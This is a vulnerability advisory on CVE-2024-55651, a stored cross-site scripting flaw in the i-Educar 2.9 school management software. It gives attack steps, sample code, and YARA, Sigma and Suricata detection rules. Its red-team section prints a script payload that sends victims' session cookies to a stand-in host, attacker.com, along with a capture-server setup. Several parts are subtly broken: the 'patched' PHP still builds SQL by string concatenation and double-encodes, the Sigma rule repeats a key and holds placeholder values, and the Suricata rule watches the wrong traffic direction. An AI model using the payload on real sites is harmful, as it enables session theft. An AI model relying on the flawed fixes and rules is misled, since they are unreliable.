CVE-2024-55651

Executive Summary

CVE-2024-55651 is a stored cross-site scripting (XSS) vulnerability in i-Educar version 2.9, a free, fully online school management software. The vulnerability resides in the user type (Tipo de Usuário) input field, where the application fails to properly validate and sanitize user-supplied input. An authenticated attacker with the ability to manage user types can inject malicious scripts that are stored and executed in the browsers of other users, potentially leading to sensitive information leakage or other malicious actions. As of the time of publication, no patched versions are known to exist, making this a high-priority issue for all i-Educar deployments.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct application-level flaw in the i-Educar PHP-based software. Organizations should verify the integrity of their i-Educar installation and monitor for any official patches or updates from the vendor.

CVSS Breakdown & Threat Level

CVSS Score: 6.1 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions are required for exploitation.
• Privileges Required (PR): Low – An attacker needs a valid account with user type management privileges.
• User Interaction (UI): Required – The victim must interact with the malicious input (e.g., view the user type field).
• Scope (S): Changed – The vulnerability impacts resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited information disclosure is possible.
• Integrity (I): Low – Limited ability to modify data.
• Availability (A): None – No impact on system availability.

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the potential for sensitive data leakage (e.g., session tokens, personal data) elevates the risk for organizations using i-Educar.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS (Cross-Site Scripting) flaw. The i-Educar application, in version 2.9, does not properly sanitize or validate input in the "Tipo de Usuário" (User Type) field. This field is likely used to define roles or categories of users within the school management system.

Attack Flow:

1. An attacker with the necessary privileges (e.g., an administrator or user manager) navigates to the user type management interface.
2. The attacker enters a malicious payload into the "Tipo de Usuário" input field. For example: <script>alert('XSS')</script> or a more sophisticated payload to steal cookies or perform actions on behalf of other users.
3. The application stores this payload in the database without proper sanitization.
4. When another user (e.g., a teacher, student, or parent) views a page that displays the user type (e.g., user profile, user list, or administrative dashboard), the malicious script executes in their browser.
5. The script can then perform actions such as:
   • Stealing session cookies (leading to account takeover).
   • Redirecting the user to a phishing site.
   • Performing actions on behalf of the victim (e.g., changing grades, accessing sensitive data).
   • Defacing the application.

Root Cause: The lack of output encoding and input validation. The application likely uses user-supplied data directly in HTML without escaping special characters like <, >, ", ', and &.

Vulnerable vs. Patched Code

Since no patched version is available, the following is a hypothetical example of the vulnerable code and how it should be fixed.

Vulnerable Code (PHP example):

// Vulnerable: Directly outputs user input without sanitization
$userType = $_POST['tipo_usuario'];
$sql = "INSERT INTO user_types (name) VALUES ('$userType')";
// ... later when displaying
echo "<td>" . $userType . "</td>";

Patched Code (PHP example):

// Patched: Sanitize input and encode output
$userType = htmlspecialchars($_POST['tipo_usuario'], ENT_QUOTES, 'UTF-8');
$sql = "INSERT INTO user_types (name) VALUES ('" . mysqli_real_escape_string($conn, $userType) . "')";
// ... later when displaying
echo "<td>" . htmlspecialchars($userType, ENT_QUOTES, 'UTF-8') . "</td>";

Key Fixes:

• Use htmlspecialchars() or equivalent for output encoding.
• Use prepared statements or parameterized queries to prevent SQL injection (though not the primary issue here, it's a best practice).
• Implement a Content Security Policy (CSP) to mitigate XSS impact.

Exploitation & Lab Setup

Red Team (Attacker) Perspective

Prerequisites:

• A valid account with privileges to manage user types (e.g., admin or user manager role).
• Network access to the i-Educar web interface.

Exploitation Steps:

1. Log in to i-Educar with the privileged account.
2. Navigate to the user type management section (e.g., /intranet/educar_usuario_tipo_cad.php).
3. In the "Tipo de Usuário" field, inject a payload. Example:

   <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Save the user type.
5. Wait for another user (e.g., a teacher or student) to view a page that displays this user type (e.g., user profile or user list).
6. The victim's browser executes the script, sending their session cookie to the attacker's server.
7. The attacker can then use the stolen cookie to impersonate the victim.

Lab Setup:

• Use a local i-Educar 2.9 installation (e.g., via Docker or a LAMP stack).
• Set up a simple HTTP server to capture cookies (e.g., using Python: python3 -m http.server 80).
• Use a browser with developer tools to inspect the XSS execution.

Blue Team (Defender) Perspective

Detection:

• Monitor for unusual input in the user type field (e.g., <script>, onerror=, javascript:).
• Look for outbound connections to unknown domains from the i-Educar server.
• Check web server logs for requests containing XSS payloads.

Mitigation:

• Immediately restrict access to user type management to only trusted administrators.
• Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
• Manually audit the database for any stored XSS payloads and remove them.
• Apply input validation and output encoding as a temporary fix (see patched code example).

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound HTTP requests to unknown or suspicious domains from the i-Educar server.
• HTTP requests containing XSS payloads in the tipo_usuario parameter (e.g., tipo_usuario=<script>).

Host IOCs:

• Unusual entries in the user_types table of the i-Educar database containing HTML/JavaScript.
• Web server logs showing requests to /intranet/educar_usuario_tipo_cad.php with suspicious parameters.

File IOCs:

• Modified PHP files in the i-Educar installation (e.g., backdoors added by attackers).
• Presence of unexpected JavaScript files in the web root.

Sample Sigma Rule (see Detection Engineering for full rule):

• EventID: 4662 (Windows) or audit log entries showing access to user type management pages.

Detection Engineering

YARA Rule

rule CVE_2024_55651_iEducar_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in i-Educar user type fields"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-55651"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $xss_payload_1 = /<script[^>]*>.*<\/script>/i
        $xss_payload_2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss_payload_3 = /javascript\s*:\s*/i
        $xss_payload_4 = /onload\s*=\s*["']?[^"']*["']?/i
        $xss_payload_5 = /<img[^>]*src\s*=\s*["']?[^"']*["']?/i
    condition:
        any of ($xss_payload*)
}

Sigma Rule

title: CVE-2024-55651 - i-Educar Stored XSS in User Type Field
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential stored XSS attempts in i-Educar user type management
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-55651
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'educar_usuario_tipo_cad.php'
        cs-uri-query|contains: 'tipo_usuario='
    keywords:
        - '<script'
        - 'onerror='
        - 'javascript:'
        - 'onload='
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in user type names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-55651 i-Educar Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"educar_usuario_tipo_cad.php"; http_uri; content:"tipo_usuario="; http_client_body; pcre:"/(<script|onerror=|javascript:|onload=)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable User Type Management: If possible, temporarily disable the user type management feature or restrict access to only essential administrators.
2. Manual Database Cleanup: Query the database for any stored XSS payloads in the user type field and remove them.
3. Apply Input Validation: Implement server-side validation to reject any input containing HTML or JavaScript tags.
4. Output Encoding: Ensure all user-supplied data is properly encoded before being displayed (e.g., using htmlspecialchars() in PHP).

Long-Term Fixes:

1. Vendor Patch: Monitor the i-Educar project for an official patch and apply it as soon as it becomes available.
2. Code Audit: Conduct a thorough security audit of the i-Educar codebase to identify and fix similar vulnerabilities.
3. Web Application Firewall (WAF): Deploy a WAF with rules to block XSS payloads.
4. Content Security Policy (CSP): Implement a strict CSP to mitigate the impact of XSS even if a vulnerability exists.
5. Security Training: Train developers on secure coding practices, especially input validation and output encoding.

Workaround:

• If patching is not possible, consider using a reverse proxy (e.g., Nginx) with ModSecurity to filter XSS payloads.

Valters IT
Securing Digital Frontiers